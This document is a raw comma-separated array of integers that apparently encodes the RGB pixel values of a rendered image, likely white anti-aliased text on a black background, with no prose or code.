0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3827382,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16767888,3801190,11993087,14389306,14992,14417883,9452032,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,102,11983871,16777215,16777215,14399078,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11964560,11983871,16777215,16767926,6684672,0,0,0,26294,16777142,6684672,0,0,0,0,102,11983871,16777215,16777215,14399078,0,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16767926,9452032,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,3838171,16777215,16777215,14408630,6699520,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3816038,11983871,16758374,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,6731519,16767926,6699578,3827382,16777215,11953664,0,26294,16767888,3801190,11983835,14389306,26294,16777142,6684672,58,9493503,16767888,6699578,3815994,3815994,0,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3816038,11993087,16758374,0,0,0,26294,16777142,6684672,0,0,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,58,9493503,16767888,6699578,3815994,3815994,0,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,26294,16777142,6684672,0,102,11993087,14389306,0,102,11993087,11953664,102,11993087,11953664,0,0,6731519,16758374,0,26294,16777142,6699664,11964560,11974246,26294,16767888,3801088,58,9493503,16767888,6699578,0,0,0,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,3838171,16777142,6684672,0,0,26294,16777142,6684672,0,0,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,58,3815994,3816080,14417883,9452032,0,58,9493503,16767888,6699578,0,0,0,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,58,3815994,3816080,14417883,9452032,0,102,11993087,14389306,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,26294,16777142,6684672,0,102,11993087,11953664,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,14992,14417846,6710966,11953766,11983760,6721755,16758374,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,26294,16777142,6684672,0,0,26294,16777142,6684672,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16767888,3801088,0,102,11993087,11953664,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993051,11974363,11953722,9493430,11974399,14389306,0,0,0,0,0,3816080,11993087,16758374,0,14992,14417883,9452032,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,3838171,16777142,6684672,0,0,26294,16777142,6684672,0,0,0,14992,14417883,9452032,0,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,0,0,0,3816080,11993087,16758374,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,102,11993087,11953664,0,58,9493503,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,11953722,3815994,6731483,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993051,14408667,9452032,6731483,14408703,14389306,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16767926,9452090,3816038,11993087,16758374,0,0,0,26294,16777215,11953722,3815994,3815994,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,11953664,0,58,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16767926,9452032,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,102,11983871,16777215,16777179,11964474,0,0,58,9493503,16777142,6684672,3838171,16777215,11953664,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,58,6731483,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11964518,11983871,16777215,16767926,6684672,0,0,0,0,6731483,16777215,16777215,16758416,3801088,0,58,6731483,16777215,16777215,16777215,11953664,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16777215,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,11953664,0,58,9493503,14389306,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6710842,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,3838171,16767888,3801088,0,0,0,58,9493467,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777142,6684672,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,6731519,16767888,3801088,0,102,11993087,11953664,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,0,0,102,11993087,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3827382,16777142,6684672,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3827382,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,3827382,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,3838171,16767888,3801088,0,102,11993087,11953664,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,3838171,16767888,3801088,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,102,11993087,11964560,11983871,16777215,16767926,6684672,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,0,102,11993087,16758374,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,26294,16777215,16777215,16777215,16758374,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,3838171,16777215,16777215,14408630,6699520,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,102,11993087,11964560,11983871,16777215,16767926,6684672,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,0,26294,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,102,11983871,16777215,16777215,14399078,0,0,102,11993087,11964560,11983871,16777215,16767926,6684672,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16767926,9452032,0,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,58,9493503,14389306,0,0,0,3838171,16767888,6710966,14417919,16777215,14399078,0,3838171,16777215,16777179,11953664,3838171,16777215,16777179,9452032,0,102,11993051,9452032,3838171,16767888,3801088,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,102,11993087,16767926,6699578,3816038,11993087,16758374,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,0,58,9493467,11964474,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,3815994,3815994,6731519,16758374,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,58,3815994,3816038,9483995,16777142,6684672,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3816038,11993087,16758374,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,0,0,26294,16777142,6684672,0,0,0,0,58,3815994,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,58,9493503,16767888,6699578,3827344,14417919,11953664,0,102,11993087,16767926,6699578,3816038,11993087,16758374,0,0,0,26294,16777142,6684672